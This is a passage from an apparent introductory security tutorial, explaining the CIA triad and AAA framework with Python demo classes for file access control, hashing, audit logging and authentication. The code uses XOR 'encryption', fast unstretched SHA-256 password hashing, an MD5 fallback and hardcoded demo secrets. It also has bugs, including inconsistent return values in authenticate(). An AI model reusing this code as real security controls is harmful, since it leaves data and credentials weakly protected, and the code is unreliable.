            logs.append({
                "timestamp": datetime.fromtimestamp(log.timestamp).isoformat(),
                "user": log.user,
                "action": log.action,
                "resource": log.resource,
                "status": log.status,
                "details": log.details
            })
        return logs
    
    def get_stats(self) -> Dict[str, Any]:
        """Get system statistics"""
        return {
            "total_files": len(self.files),
            "total_users": len(self.users),
            "audit_logs": len(self.audit_logs),
            "encrypted_files": sum(1 for f in self.files.values() 
                                  if os.path.exists(f"{f.filename}.enc"))
        }

# ============================================================================
# DEMONSTRATION
# ============================================================================

def security_demo():
    """Demonstrate information security features"""
    
    print("=" * 60)
    print(" 🔒 INFORMATION SECURITY DEMONSTRATION")
    print("=" * 60)
    
    # Initialize secure file system
    fs = SecureFileSystem()
    
    # Create users
    print("\n 👤 Creating Users...")
    fs.create_user("alice", "alice123", "admin")
    fs.create_user("bob", "bob456", "user")
    fs.create_user("charlie", "charlie789", "user")
    
    # Create files
    print("\n 📄 Creating Files...")
    
    # Alice creates a confidential file
    alice_file = fs.create_file(
        "secret_data.txt",
        "This is highly confidential information.\n"
        "Password: secure_password_123\n"
        "API Key: abc123def456ghi789",
        "alice"
    )
    alice_file.set_security_level(SecurityLevel.CONFIDENTIAL)
    
    # Bob creates a public file
    bob_file = fs.create_file(
        "public_notes.txt",
        "Public notes for everyone to read.",
        "bob"
    )
    bob_file.set_security_level(SecurityLevel.PUBLIC)
    
    # Grant access
    print("\n 🔑 Granting Access...")
    alice_file.grant_access("bob", AccessMode.READ)
    alice_file.grant_access("charlie", AccessMode.READ, time.time() + 3600)  # 1 hour expiration
    
    # Save files
    print("\n 💾 Saving Files...")
    alice_file.save_file(encrypt=True, password="secure_password_123")
    bob_file.save_file()
    
    # Calculate hashes
    print("\n 🔑 Calculating Hashes...")
    alice_hash = alice_file.calculate_hash()
    bob_hash = bob_file.calculate_hash()
    
    # Verify integrity
    print("\n ✅ Verifying Integrity...")
    alice_file.verify_integrity()
    bob_file.verify_integrity()
    
    # Access files
    print("\n 📖 Accessing Files...")
    
    print("\n  Bob accessing Alice's file:")
    file = fs.get_file("secret_data.txt", "bob")
    if file:
        content = file.load_file(password="secure_password_123")
        if content:
            print(f"  Content: {content[:50]}...")
    
    print("\n  Charlie accessing Alice's file (expired access):")
    file = fs.get_file("secret_data.txt", "charlie")
    if file:
        content = file.load_file(password="secure_password_123")
        if content:
            print(f"  Content: {content[:50]}...")
    
    # List files
    print("\n 📋 Listing Files for Bob:")
    files = fs.list_files("bob")
    for f in files:
        print(f"  {f['filename']} (Owner: {f['owner']}, Security: {f['security_level']})")
    
    # Audit logs
    print("\n 📊 Audit Logs:")
    logs = fs.get_audit_logs(5)
    for log in logs:
        print(f"  {log['timestamp']}: {log['action']} - {log['status']}")
    
    # File metadata
    print("\n 📋 File Metadata:")
    metadata = alice_file.get_metadata()
    for key, value in metadata.items():
        if key not in ['audit_logs', 'access_controls']:
            print(f"  {key}: {value}")
    
    # System statistics
    print("\n 📊 System Statistics:")
    stats = fs.get_stats()
    for key, value in stats.items():
        print(f"  {key}: {value}")
    
    print("\n" + "=" * 60)
    print(" ✅ SECURITY DEMONSTRATION COMPLETE")
    print("=" * 60)

if __name__ == "__main__":
    security_demo()

1.1.2 The CIA Triad: Confidentiality, Integrity, and Availability

The CIA Triad is the central framework of information security and the foundation of every security decision. Every tool you use, every vulnerability you encounter, and every defense you build relates back to one or more of its three components. Learn this framework deeply, not as a memorization exercise, but as a way of thinking.

1. Confidentiality: Information is accessible only to those who are authorized to access it. Only authorized people can access data. If you store your salary details in a spreadsheet on a company server and a colleague who has no business knowing your salary can read that file, confidentiality has been violated. The data was not stolen or altered, but it was seen by the wrong person.

Confidentiality is protected through mechanisms such as:

  • Encryption: Converting data into an unreadable form so that only authorized parties can access and understand it.
  • Access Controls: Restricting who is allowed to access, view, or modify data.
  • Authentication: Verifying the identity of users before granting access

Real Example of Confidentiality Failure: In 2013, Edward Snowden, a contractor at the US National Security Agency, copied and disclosed classified intelligence documents to journalists. He had legitimate access to the systems containing those documents. He was authorized. But his access was broader than necessary for his specific role. The principle of least privilege, a core confidentiality control, had not been properly applied. The result was one of the most significant intelligence leaks in history.

Practical Example: Add a password to your phone or laptop. Set a lock screen password. This prevents unauthorized access. That is confidentiality.

2. Integrity: Information is accurate and has not been altered by unauthorized parties. Data should not be changed without permission. If a hospital’s database records show that a patient is allergic to penicillin, and an attacker changes that record to show no allergies, the patient could be given a lethal dose of the wrong medication. The attacker never stole anything. They simply changed a single value in a database. Integrity failures can be silent and invisible until the damage is already done.

Integrity is protected through mechanisms such as:

  • Hashing: Generating a unique digital fingerprint of data
  • Digital Signatures: Cryptographically verifying the authenticity of data
  • Audit Logs: Recording who accessed or modified data and when

Real Example of Integrity Failure: A Man-in-the-Middle attack intercepts communication between two parties and alters the data in transit. Imagine you send a bank transfer instruction for 1,000 Pakistani rupees to a contractor. An attacker intercepts the request and changes the amount to 100,000 rupees and the destination account number before it reaches the bank. You believe you sent 1,000. The bank processed 100,000 to the wrong account. Integrity was broken.

Practical Example (Check file integrity using hash):

# Generate a SHA-256 hash of the file
certutil -hashfile secret.txt SHA256

# Modify the file content and generate the hash again
# Even a small change produces a different hash value

What you learned: If data changes → integrity is broken.

3. Availability: Authorized users can access information and systems when they need them. Data should be accessible when needed. A perfectly confidential and perfectly intact database is useless if it is inaccessible. Availability failures can be caused by technical faults such as hardware failure and software bugs, or by deliberate attacks such as Distributed Denial of Service (DDoS) attacks, which flood a system with so much traffic that it cannot respond to legitimate requests.

Real Example of Availability Failure: In 2016, the Mirai botnet infected hundreds of thousands of internet-connected devices — surveillance cameras, routers, and home appliances — and directed them to flood the servers of a major DNS provider called Dyn with traffic. The result was that major websites including Twitter, Reddit, Netflix, and Spotify became unreachable for most of a day. No data was stolen. Nothing was modified. Availability was simply destroyed.

Practical Example: Turn off internet and try opening a website. It will not load.

What you learned: System unavailable → availability failure.

When you analyse any security incident or design any defensive system, ask three questions:

  • Was confidentiality violated?
  • Was integrity compromised?
  • Was availability disrupted?

One incident can break all three simultaneously.

"""
CIA TRIAD IMPLEMENTATION FRAMEWORK
===================================
Complete implementation of the CIA Triad (Confidentiality, Integrity, Availability)
with practical security controls and monitoring
"""

import hashlib
import time
import os
import base64
from typing import Dict, List, Any, Optional, Set
from datetime import datetime
from dataclasses import dataclass, field
from enum import Enum

# ============================================================================
# ENUMS AND TYPES
# ============================================================================

class SecurityStatus(Enum):
    """Security status indicators"""
    SECURE = "Secure"
    VULNERABLE = "Vulnerable"
    COMPROMISED = "Compromised"
    UNAVAILABLE = "Unavailable"
    DEGRADED = "Degraded"

class AccessLevel(Enum):
    """Access levels for users"""
    NONE = "None"
    READ = "Read"
    WRITE = "Write"
    ADMIN = "Admin"

class SystemState(Enum):
    """System state for availability"""
    OPERATIONAL = "Operational"
    DEGRADED = "Degraded"
    MAINTENANCE = "Maintenance"
    OFFLINE = "Offline"

# ============================================================================
# DATA CLASSES
# ============================================================================

@dataclass
class SecurityEvent:
    """Security event for auditing"""
    timestamp: float
    event_type: str
    user: str
    resource: str
    status: str
    details: Dict[str, Any]

@dataclass
class SystemHealth:
    """System health metrics"""
    uptime: float
    response_time: float
    error_rate: float
    cpu_usage: float
    memory_usage: float
    last_checked: float

@dataclass
class DataIntegrity:
    """Data integrity information"""
    data_hash: str
    algorithm: str
    last_verified: float
    verification_count: int
    modifications: int

# ============================================================================
# SECURITY CONTROLS
# ============================================================================

class SecurityControls:
    """Security controls for implementing CIA Triad"""
    
    @staticmethod
    def encrypt_data(data: str, key: str) -> str:
        """Simple encryption for confidentiality"""
        key_bytes = hashlib.sha256(key.encode()).digest()
        data_bytes = data.encode('utf-8')
        encrypted = bytearray()
        for i, byte in enumerate(data_bytes):
            encrypted.append(byte ^ key_bytes[i % len(key_bytes)])
        return base64.b64encode(bytes(encrypted)).decode('utf-8')
    
    @staticmethod
    def decrypt_data(encrypted_data: str, key: str) -> str:
        """Decrypt data"""
        encrypted_bytes = base64.b64decode(encrypted_data.encode('utf-8'))
        key_bytes = hashlib.sha256(key.encode()).digest()
        decrypted = bytearray()
        for i, byte in enumerate(encrypted_bytes):
            decrypted.append(byte ^ key_bytes[i % len(key_bytes)])
        return decrypted.decode('utf-8')
    
    @staticmethod
    def compute_hash(data: str, algorithm: str = "sha256") -> str:
        """Compute hash for integrity"""
        if algorithm == "sha256":
            return hashlib.sha256(data.encode()).hexdigest()
        elif algorithm == "sha512":
            return hashlib.sha512(data.encode()).hexdigest()
        else:
            return hashlib.md5(data.encode()).hexdigest()
    
    @staticmethod
    def verify_hash(data: str, expected_hash: str, algorithm: str = "sha256") -> bool:
        """Verify data integrity"""
        current_hash = SecurityControls.compute_hash(data, algorithm)
        return current_hash == expected_hash
    
    @staticmethod
    def generate_checksum(data: str) -> str:
        """Generate checksum for data"""
        return hashlib.md5(data.encode()).hexdigest()[:8]
    
    @staticmethod
    def audit_log_event(user: str, action: str, resource: str, status: str) -> Dict:
        """Generate audit log entry"""
        return {
            "timestamp": time.time(),
            "user": user,
            "action": action,
            "resource": resource,
            "status": status,
            "details": {}
        }

# ============================================================================
# CIA TRIAD IMPLEMENTATION
# ============================================================================

class CIATriad:
    """
    Complete implementation of the CIA Triad (Confidentiality, Integrity, Availability)
    with comprehensive security controls
    """
    
    def __init__(self, data: str, owner: str = "admin"):
        self.data = data
        self.owner = owner
        self.authorized_users: Dict[str, AccessLevel] = {}
        self.audit_log: List[SecurityEvent] = []
        self.system_state = SystemState.OPERATIONAL
        self.health_metrics = SystemHealth(0, 0, 0, 0, 0, time.time())
        
        self.encryption_key = None
        self.encrypted_data = None
        self.data_hash = None
        self.integrity_log: List[DataIntegrity] = []
        
        self.access_log: Dict[str, List[float]] = {}
        self.failed_access_attempts: Dict[str, int] = {}
        self.max_failed_attempts = 5
        
        self.created_at = time.time()
        self.last_modified = time.time()
        self.uptime_start = time.time()
        
        print(f" 🏛️  CIA Triad System initialized")
        print(f"    Owner: {owner}")
        print(f"    Data Length: {len(data)} characters")
    
    # =========================================================================
    # CONFIDENTIALITY
    # =========================================================================
    
    def confidentiality_check(self, user: str, resource: str = "data") -> bool:
        """Check if user is authorized to access the data"""
        if user == self.owner:
            return True
        
        if user in self.authorized_users:
            access_level = self.authorized_users[user]
            if access_level in [AccessLevel.READ, AccessLevel.WRITE, AccessLevel.ADMIN]:
                return True
        
        # Log failed attempt
        self.failed_access_attempts[user] = self.failed_access_attempts.get(user, 0) + 1
        self._log_security_event("ACCESS_DENIED", user, resource, "failed")
        return False
    
    def add_authorized_user(self, user: str, access_level: AccessLevel = AccessLevel.READ) -> None:
        """Add a user with specific access level"""
        self.authorized_users[user] = access_level
        print(f" ✅ User added: {user} ({access_level.value})")
        self._log_security_event("USER_ADDED", user, "authorization", "success")
    
    def remove_authorized_user(self, user: str) -> bool:
        """Remove a user's access"""
        if user in self.authorized_users:
            del self.authorized_users[user]
            print(f" ❌ User removed: {user}")
            self._log_security_event("USER_REMOVED", user, "authorization", "success")
            return True
        print(f" ⚠️  User not found: {user}")
        return False
    
    def set_access_level(self, user: str, access_level: AccessLevel) -> bool:
        """Set a user's access level"""
        if user in self.authorized_users:
            old_level = self.authorized_users[user]
            self.authorized_users[user] = access_level
            print(f" 🔄 Access level changed: {user} ({old_level.value} → {access_level.value})")
            self._log_security_event("ACCESS_CHANGED", user, "authorization", "success")
            return True
        return False
    
    def encrypt_data(self, key: str) -> bool:
        """Encrypt data for confidentiality"""
        try:
            self.encryption_key = hashlib.sha256(key.encode()).hexdigest()
            self.encrypted_data = SecurityControls.encrypt_data(self.data, key)
            print(f" 🔐 Data encrypted successfully")
            self._log_security_event("ENCRYPTED", self.owner, "data", "success")
            return True
        except Exception as e:
            print(f" ❌ Encryption failed: {e}")
            self._log_security_event("ENCRYPT_FAILED", self.owner, "data", "failed")
            return False
    
    def decrypt_data(self, key: str) -> Optional[str]:
        """Decrypt data for authorized access"""
        if not self.encrypted_data:
            print(" ⚠️  Data is not encrypted")
            return None
        
        try:
            decrypted = SecurityControls.decrypt_data(self.encrypted_data, key)
            # Verify integrity
            if self.data_hash:
                if not SecurityControls.verify_hash(decrypted, self.data_hash):
                    print(" ❌ Data integrity compromised!")
                    self._log_security_event("INTEGRITY_FAILURE", self.owner, "data", "failed")
                    return None
            
            print(f" 🔓 Data decrypted successfully")
            self._log_security_event("DECRYPTED", self.owner, "data", "success")
            return decrypted
        except Exception as e:
            print(f" ❌ Decryption failed: {e}")
            self._log_security_event("DECRYPT_FAILED", self.owner, "data", "failed")
            return None
    
    # =========================================================================
    # INTEGRITY
    # =========================================================================
    
    def integrity_check(self, data: Optional[str] = None) -> bool:
        """Check if data integrity is intact"""
        check_data = data or self.data
        original_hash = self.data_hash
        
        if not original_hash:
            print(" ⚠️  No original hash stored for comparison")
            self.data_hash = SecurityControls.compute_hash(check_data)
            return True
        
        current_hash = SecurityControls.compute_hash(check_data)
        is_valid = current_hash == original_hash
        
        if is_valid:
            print(f" ✅ Data integrity verified")
        else:
            print(f" ❌ Data integrity compromised!")
            self._log_security_event("INTEGRITY_FAILURE", "system", "data", "failed")
        
        return is_valid
    
    def compute_data_hash(self, algorithm: str = "sha256") -> str:
        """Compute and store data hash"""
        self.data_hash = SecurityControls.compute_hash(self.data, algorithm)
        self.integrity_log.append(DataIntegrity(
            data_hash=self.data_hash,
            algorithm=algorithm,
            last_verified=time.time(),
            verification_count=1,
            modifications=0
        ))
        print(f" 🔑 Data hash computed: {self.data_hash[:16]}... ({algorithm})")
        return self.data_hash
    
    def verify_data_integrity(self) -> Dict[str, Any]:
        """Comprehensive integrity verification"""
        results = {
            "data_hash": self.data_hash,
            "verified_at": time.time(),
            "is_valid": False,
            "checksum": SecurityControls.generate_checksum(self.data),
            "algorithm": "sha256"
        }
        
        is_valid = self.integrity_check()
        results["is_valid"] = is_valid
        
        if is_valid:
            self.integrity_log[-1].verification_count += 1
            self.integrity_log[-1].last_verified = time.time()
        
        return results
    
    def update_data(self, new_data: str) -> bool:
        """Update data with integrity tracking"""
        old_hash = self.data_hash
        self.data = new_data
        self.last_modified = time.time()
        
        # Compute new hash
        self.data_hash = SecurityControls.compute_hash(new_data)
        self.integrity_log.append(DataIntegrity(
            data_hash=self.data_hash,
            algorithm="sha256",
            last_verified=time.time(),
            verification_count=1,
            modifications=len(self.integrity_log) + 1
        ))
        
        print(f" 📝 Data updated (new hash: {self.data_hash[:16]}...)")
        self._log_security_event("DATA_UPDATED", self.owner, "data", "success")
        return True
    
    # =========================================================================
    # AVAILABILITY
    # =========================================================================
    
    def availability_check(self) -> bool:
        """Check if system is available"""
        if self.system_state == SystemState.OFFLINE:
            return False
        
        if self.system_state == SystemState.MAINTENANCE:
            return False
        
        return True
    
    def get_system_status(self) -> Dict[str, Any]:
        """Get detailed system status"""
        uptime = time.time() - self.uptime_start
        health = self._update_health_metrics()
        
        return {
            "state": self.system_state.value,
            "uptime": uptime,
            "uptime_hours": uptime / 3600,
            "available": self.availability_check(),
            "health": {
                "response_time": health.response_time,
                "error_rate": health.error_rate,
                "cpu_usage": health.cpu_usage,
                "memory_usage": health.memory_usage
            },
            "last_checked": datetime.fromtimestamp(health.last_checked).isoformat()
        }
    
    def set_system_state(self, state: SystemState) -> None:
        """Set system state"""
        old_state = self.system_state
        self.system_state = state
        print(f" 🔄 System state changed: {old_state.value} → {state.value}")
        self._log_security_event("SYSTEM_STATE_CHANGE", "system", "availability", "success")
    
    def perform_maintenance(self, duration: float) -> None:
        """Simulate system maintenance"""
        self.set_system_state(SystemState.MAINTENANCE)
        print(f" 🔧 Maintenance started for {duration} seconds")
        time.sleep(min(duration, 2))  # Simulate maintenance
        self.set_system_state(SystemState.OPERATIONAL)
        print(f" ✅ Maintenance completed")
    
    def monitor_availability(self) -> None:
        """Monitor system availability metrics"""
        health = self._update_health_metrics()
        
        # Check health thresholds
        if health.error_rate > 0.1:
            print(f" ⚠️  High error rate: {health.error_rate*100:.1f}%")
            self._log_security_event("HIGH_ERROR_RATE", "system", "availability", "warning")
        
        if health.response_time > 1000:
            print(f" ⚠️  Slow response time: {health.response_time:.0f}ms")
            self._log_security_event("SLOW_RESPONSE", "system", "availability", "warning")
    
    def _update_health_metrics(self) -> SystemHealth:
        """Update system health metrics (simulated)"""
        import random
        self.health_metrics.uptime = time.time() - self.uptime_start
        self.health_metrics.response_time = random.uniform(50, 500)
        self.health_metrics.error_rate = random.uniform(0, 0.05)
        self.health_metrics.cpu_usage = random.uniform(10, 80)
        self.health_metrics.memory_usage = random.uniform(20, 70)
        self.health_metrics.last_checked = time.time()
        return self.health_metrics
    
    # =========================================================================
    # SECURITY MONITORING
    # =========================================================================
    
    def _log_security_event(self, event_type: str, user: str, resource: str, status: str) -> None:
        """Log a security event"""
        event = SecurityEvent(
            timestamp=time.time(),
            event_type=event_type,
            user=user,
            resource=resource,
            status=status,
            details={}
        )
        self.audit_log.append(event)
    
    def get_audit_log(self, limit: int = 50) -> List[Dict]:
        """Get security audit log"""
        logs = []
        for event in self.audit_log[-limit:]:
            logs.append({
                "timestamp": datetime.fromtimestamp(event.timestamp).isoformat(),
                "event_type": event.event_type,
                "user": event.user,
                "resource": event.resource,
                "status": event.status,
                "details": event.details
            })
        return logs
    
    def get_access_log(self, user: Optional[str] = None) -> Dict[str, List[float]]:
        """Get access log for user(s)"""
        if user:
            return {user: self.access_log.get(user, [])}
        return self.access_log
    
    def check_failed_attempts(self, user: str) -> bool:
        """Check if user has exceeded max failed attempts"""
        attempts = self.failed_access_attempts.get(user, 0)
        if attempts >= self.max_failed_attempts:
            print(f" ⚠️  User {user} has exceeded max failed attempts")
            self._log_security_event("EXCEEDED_FAILED_ATTEMPTS", user, "authentication", "blocked")
            return True
        return False
    
    def reset_failed_attempts(self, user: str) -> None:
        """Reset failed attempts for a user"""
        if user in self.failed_access_attempts:
            del self.failed_access_attempts[user]
    
    # =========================================================================
    # DISPLAY
    # =========================================================================
    
    def display_status(self) -> None:
        """Display comprehensive system status"""
        print("\n" + "=" * 60)
        print(" 🔒 CIA TRIAD STATUS")
        print("=" * 60)
        
        print(f"\n 📊 System Information:")
        print(f"    Owner: {self.owner}")
        print(f"    Data Length: {len(self.data)} characters")
        print(f"    System State: {self.system_state.value}")
        print(f"    Uptime: {(time.time() - self.uptime_start) / 3600:.1f} hours")
        
        print(f"\n 🔐 Confidentiality:")
        print(f"    Authorized Users: {len(self.authorized_users)}")
        for user, level in self.authorized_users.items():
            print(f"      - {user}: {level.value}")
        print(f"    Encrypted: {'✅' if self.encrypted_data else '❌'}")
        
        print(f"\n 📋 Integrity:")
        print(f"    Data Hash: {self.data_hash[:16] + '...' if self.data_hash else 'Not set'}")
        print(f"    Integrity: {'✅ Intact' if self.integrity_check() else '❌ Compromised'}")
        print(f"    Modifications: {len(self.integrity_log)}")
        
        print(f"\n 🌐 Availability:")
        print(f"    Status: {'✅ Available' if self.availability_check() else '❌ Unavailable'}")
        status = self.get_system_status()
        health = status['health']
        print(f"    Response Time: {health['response_time']:.0f}ms")
        print(f"    Error Rate: {health['error_rate']*100:.1f}%")
        print(f"    CPU Usage: {health['cpu_usage']:.1f}%")
        print(f"    Memory Usage: {health['memory_usage']:.1f}%")
        
        print(f"\n 📊 Security Status:")
        print(f"    Total Events: {len(self.audit_log)}")
        print(f"    Failed Attempts: {sum(self.failed_access_attempts.values())}")
        
        print("=" * 60)
    
    def generate_report(self) -> Dict[str, Any]:
        """Generate comprehensive security report"""
        return {
            "cia_status": {
                "confidentiality": {
                    "status": "Secure" if self.authorized_users else "Vulnerable",
                    "users": len(self.authorized_users),
                    "encrypted": bool(self.encrypted_data)
                },
                "integrity": {
                    "status": "Intact" if self.integrity_check() else "Compromised",
                    "hash": self.data_hash,
                    "modifications": len(self.integrity_log)
                },
                "availability": {
                    "status": "Available" if self.availability_check() else "Unavailable",
                    "state": self.system_state.value,
                    "uptime": time.time() - self.uptime_start
                }
            },
            "security_metrics": {
                "authorized_users": len(self.authorized_users),
                "failed_attempts": sum(self.failed_access_attempts.values()),
                "audit_events": len(self.audit_log),
                "encryption_enabled": bool(self.encrypted_data)
            },
            "health": self.get_system_status()
        }

# ============================================================================
# DEMONSTRATION
# ============================================================================

def cia_triad_demo():
    """Demonstrate complete CIA Triad implementation"""
    
    print("=" * 60)
    print(" 🔒 CIA TRIAD IMPLEMENTATION DEMONSTRATION")
    print("=" * 60)
    
    # Initialize system
    print("\n 🏛️  Initializing CIA Triad System...")
    system = CIATriad("Sensitive Company Data", "admin")
    
    # Compute initial hash
    system.compute_data_hash()
    
    # Add authorized users
    print("\n 👤 Adding Authorized Users...")
    system.add_authorized_user("Alice", AccessLevel.READ)
    system.add_authorized_user("Bob", AccessLevel.WRITE)
    system.add_authorized_user("Charlie", AccessLevel.ADMIN)
    
    # Display initial status
    system.display_status()
    
    # Confidentiality tests
    print("\n 🔐 Confidentiality Tests:")
    print("-" * 40)
    
    print("\n  Alice accessing data:")
    if system.confidentiality_check("Alice"):
        print("   ✅ Access granted")
    else:
        print("   ❌ Access denied")
    
    print("\n  Dave accessing data (unauthorized):")
    if system.confidentiality_check("Dave"):
        print("   ✅ Access granted")
    else:
        print("   ❌ Access denied")
    
    # Integrity tests
    print("\n 📋 Integrity Tests:")
    print("-" * 40)
    
    print("\n  Checking data integrity:")
    integrity_result = system.verify_data_integrity()
    print(f"   Integrity: {'✅ Intact' if integrity_result['is_valid'] else '❌ Compromised'}")
    
    print("\n  Updating data (simulated modification):")
    system.update_data("Modified Sensitive Company Data")
    integrity_result = system.verify_data_integrity()
    print(f"   Integrity after update: {'✅ Intact' if integrity_result['is_valid'] else '❌ Compromised'}")
    
    # Encryption test
    print("\n 🔐 Encryption Test:")
    print("-" * 40)
    
    print("\n  Encrypting data:")
    system.encrypt_data("secure_key_123")
    
    print("\n  Decrypting data with correct key:")
    decrypted = system.decrypt_data("secure_key_123")
    if decrypted:
        print(f"   Decrypted data: {decrypted[:50]}...")
    
    print("\n  Decrypting data with wrong key:")
    decrypted = system.decrypt_data("wrong_key")
    if not decrypted:
        print("   ❌ Decryption failed (as expected)")
    
    # Availability tests
    print("\n 🌐 Availability Tests:")
    print("-" * 40)
    
    print("\n  System status:")
    status = system.get_system_status()
    print(f"   State: {status['state']}")
    print(f"   Available: {'✅' if status['available'] else '❌'}")
    print(f"   Uptime: {status['uptime_hours']:.1f} hours")
    
    # Generate report
    print("\n 📊 Generating Security Report:")
    print("-" * 40)
    
    report = system.generate_report()
    print(f"\n  CIA Status:")
    for key, value in report['cia_status'].items():
        print(f"    {key.capitalize()}: {value['status']}")
    
    print(f"\n  Security Metrics:")
    for key, value in report['security_metrics'].items():
        print(f"    {key.replace('_', ' ').title()}: {value}")
    
    # Final status
    system.display_status()
    
    print("\n" + "=" * 60)
    print(" ✅ CIA TRIAD DEMONSTRATION COMPLETE")
    print("=" * 60)
    print("\n  Key Security Principles Demonstrated:")
    print("  1. Confidentiality: Access control and encryption")
    print("  2. Integrity: Hashing and verification")
    print("  3. Availability: System monitoring and maintenance")
    print("  4. Auditing: Event logging and monitoring")
    print("  5. Access Control: User management and authorization")

if __name__ == "__main__":
    cia_triad_demo()

1.1.3 The AAA Framework

The AAA framework defines three core security functions: Authentication, Authorization, and Accounting. Together, they form the foundation of access control in any secure system.

1. Authentication: Verifying User Identity

Authentication answers the question: “Who are you?” The process of verifying that a user is who they claim to be.There are three main factors of authentication, and strong systems use multiple factors (Multi-Factor Authentication):

  • Something you know — Passwords, PINs, security questions
  • Something you have — Tokens, smart cards, mobile devices
  • Something you are — Biometrics (fingerprints, facial recognition, iris scans)

2. Authorization: Determining User Permissions

Authorization: Determines what an authenticated user is allowed to access and what actions they are permitted to perform.

  • Role-Based Access Control (RBAC): Permissions are assigned based on roles (e.g., Admin, Manager, Employee)
  • Attribute-Based Access Control (ABAC): Permissions are based on attributes (e.g., department, clearance level, time of day)
  • Least Privilege Principle: Users should only have the minimum permissions necessary to perform their job

3. Accounting: Logging and Monitoring User Activities

Accounting answers the question: “What did you do?” It involves tracking user activities, maintaining audit trails, and monitoring for suspicious behavior. Accounting provides:

  • Audit Trails: Record of who accessed what, when, and from where
  • Usage Tracking: Monitoring resource utilization
  • Compliance: Meeting regulatory requirements for logging
  • Incident Investigation: Evidence for security investigations
"""
AAA SECURITY FRAMEWORK
=======================
Complete implementation of Authentication, Authorization, and Accounting (AAA)
with role-based access control, audit logging, and security monitoring
"""

import hashlib
import time
import re
from typing import Dict, List, Any, Optional, Set, Tuple
from datetime import datetime
from dataclasses import dataclass, field
from enum import Enum
import secrets
import base64

# ============================================================================
# ENUMS AND TYPES
# ============================================================================

class UserRole(Enum):
    """User roles with different permission levels"""
    ADMIN = "admin"
    MANAGER = "manager"
    EMPLOYEE = "employee"
    GUEST = "guest"
    AUDITOR = "auditor"

class PermissionType(Enum):
    """Permission types for authorization"""
    READ = "read"
    WRITE = "write"
    DELETE = "delete"
    APPROVE = "approve"
    MANAGE_USERS = "manage_users"
    AUDIT = "audit"
    ADMIN = "admin"

class AuthStatus(Enum):
    """Authentication status"""
    SUCCESS = "SUCCESS"
    FAILED = "FAILED"
    LOCKED = "LOCKED"
    EXPIRED = "EXPIRED"

# ============================================================================
# DATA CLASSES
# ============================================================================

@dataclass
class User:
    """User account information"""
    username: str
    password_hash: str
    salt: str
    role: UserRole
    created_at: float
    last_login: Optional[float] = None
    login_attempts: int = 0
    locked_until: Optional[float] = None
    permissions: Set[PermissionType] = field(default_factory=set)
    metadata: Dict[str, Any] = field(default_factory=dict)
    active: bool = True

@dataclass
class AuditEntry:
    """Audit log entry"""
    timestamp: float
    username: str
    action: str
    resource: str
    status: str
    ip_address: Optional[str] = None
    details: Dict[str, Any] = field(default_factory=dict)
    session_id: Optional[str] = None

@dataclass
class Session:
    """User session information"""
    username: str
    session_id: str
    created_at: float
    expires_at: float
    ip_address: str
    user_agent: str
    active: bool = True

# ============================================================================
# AAA SECURITY FRAMEWORK
# ============================================================================

class AAAFramework:
    """
    Complete Authentication, Authorization, and Accounting (AAA) framework
    with RBAC, auditing, and security features
    """
    
    def __init__(self, name: str = "AAAFramework"):
        self.name = name
        self.users: Dict[str, User] = {}
        self.sessions: Dict[str, Session] = {}
        self.audit_log: List[AuditEntry] = []
        self.role_permissions: Dict[UserRole, Set[PermissionType]] = {}
        self.locked_users: Set[str] = set()
        self.failed_attempts: Dict[str, int] = {}
        self.max_failed_attempts = 5
        self.lockout_duration = 300  # 5 minutes
        self.session_timeout = 3600  # 1 hour
        
        # Initialize role permissions
        self._initialize_role_permissions()
        
        print(f" 🏛️  AAA Framework initialized: {name}")
        print(f"    Max failed attempts: {self.max_failed_attempts}")
        print(f"    Lockout duration: {self.lockout_duration}s")
        print(f"    Session timeout: {self.session_timeout}s")
    
    def _initialize_role_permissions(self) -> None:
        """Initialize default role permissions"""
        self.role_permissions = {
            UserRole.ADMIN: {
                PermissionType.READ,
                PermissionType.WRITE,
                PermissionType.DELETE,
                PermissionType.APPROVE,
                PermissionType.MANAGE_USERS,
                PermissionType.AUDIT,
                PermissionType.ADMIN
            },
            UserRole.MANAGER: {
                PermissionType.READ,
                PermissionType.WRITE,
                PermissionType.APPROVE
            },
            UserRole.EMPLOYEE: {
                PermissionType.READ,
                PermissionType.WRITE
            },
            UserRole.GUEST: {
                PermissionType.READ
            },
            UserRole.AUDITOR: {
                PermissionType.READ,
                PermissionType.AUDIT
            }
        }
    
    # =========================================================================
    # AUTHENTICATION
    # =========================================================================
    
    def authenticate(self, username: str, password: str, 
                     ip_address: str = None, user_agent: str = None) -> Tuple[bool, str]:
        """
        Authenticate a user with username and password
        Returns: (success, message, session_id)
        """
        # Check if user exists
        if username not in self.users:
            self._record_failed_attempt(username)
            self._log_audit(username, "LOGIN", "authentication", "FAILED", 
                          {"reason": "User not found"}, ip_address)
            return False, "User not found"
        
        user = self.users[username]
        
        # Check if user is locked
        if user.locked_until and time.time() < user.locked_until:
            remaining = int(user.locked_until - time.time())
            self._log_audit(username, "LOGIN", "authentication", "LOCKED", 
                          {"remaining": remaining}, ip_address)
            return False, f"Account locked for {remaining} seconds"
        
        # Check if user is active
        if not user.active:
            self._log_audit(username, "LOGIN", "authentication", "FAILED", 
                          {"reason": "Account inactive"}, ip_address)
            return False, "Account inactive"
        
        # Verify password
        password_hash = self._hash_password(password, user.salt)
        if password_hash == user.password_hash:
            # Authentication successful
            user.last_login = time.time()
            user.login_attempts = 0
            user.locked_until = None
            
            # Create session
            session_id = self._create_session(username, ip_address, user_agent)
            
            self._log_audit(username, "LOGIN", "authentication", "SUCCESS", 
                          {"session_id": session_id}, ip_address)
            
            print(f" ✅ User {username} authenticated successfully")
            return True, "Authentication successful", session_id
        else:
            # Authentication failed
            user.login_attempts += 1
            self._record_failed_attempt(username)
            
            # Check if should lock account
            if user.login_attempts >= self.max_failed_attempts:
                user.locked_until = time.time() + self.lockout_duration
                self.locked_users.add(username)
                self._log_audit(username, "LOGIN", "authentication", "LOCKED", 
                              {"reason": "Max failed attempts"}, ip_address)
                print(f" 🔒 Account {username} locked for {self.lockout_duration}s")
                return False, f"Account locked for {self.lockout_duration} seconds"
            
            self._log_audit(username, "LOGIN", "authentication", "FAILED", 
                          {"attempt": user.login_attempts}, ip_address)
            
            print(f" ❌ Authentication failed for {username}")
            return False, "Invalid credentials"
    
    def _hash_password(self, password: str, salt: str) -> str:
        """Hash password with salt"""
        return hashlib.sha256((salt + password).encode()).hexdigest()
    
    def _generate_salt(self) -> str:
        """Generate random salt"""
        return base64.b64encode(secrets.token_bytes(16)).decode('utf-8')
    
    def _record_failed_attempt(self, username: str) -> None:
        """Record a failed authentication attempt"""
        self.failed_attempts[username] = self.failed_attempts.get(username, 0) + 1
    
    # =========================================================================
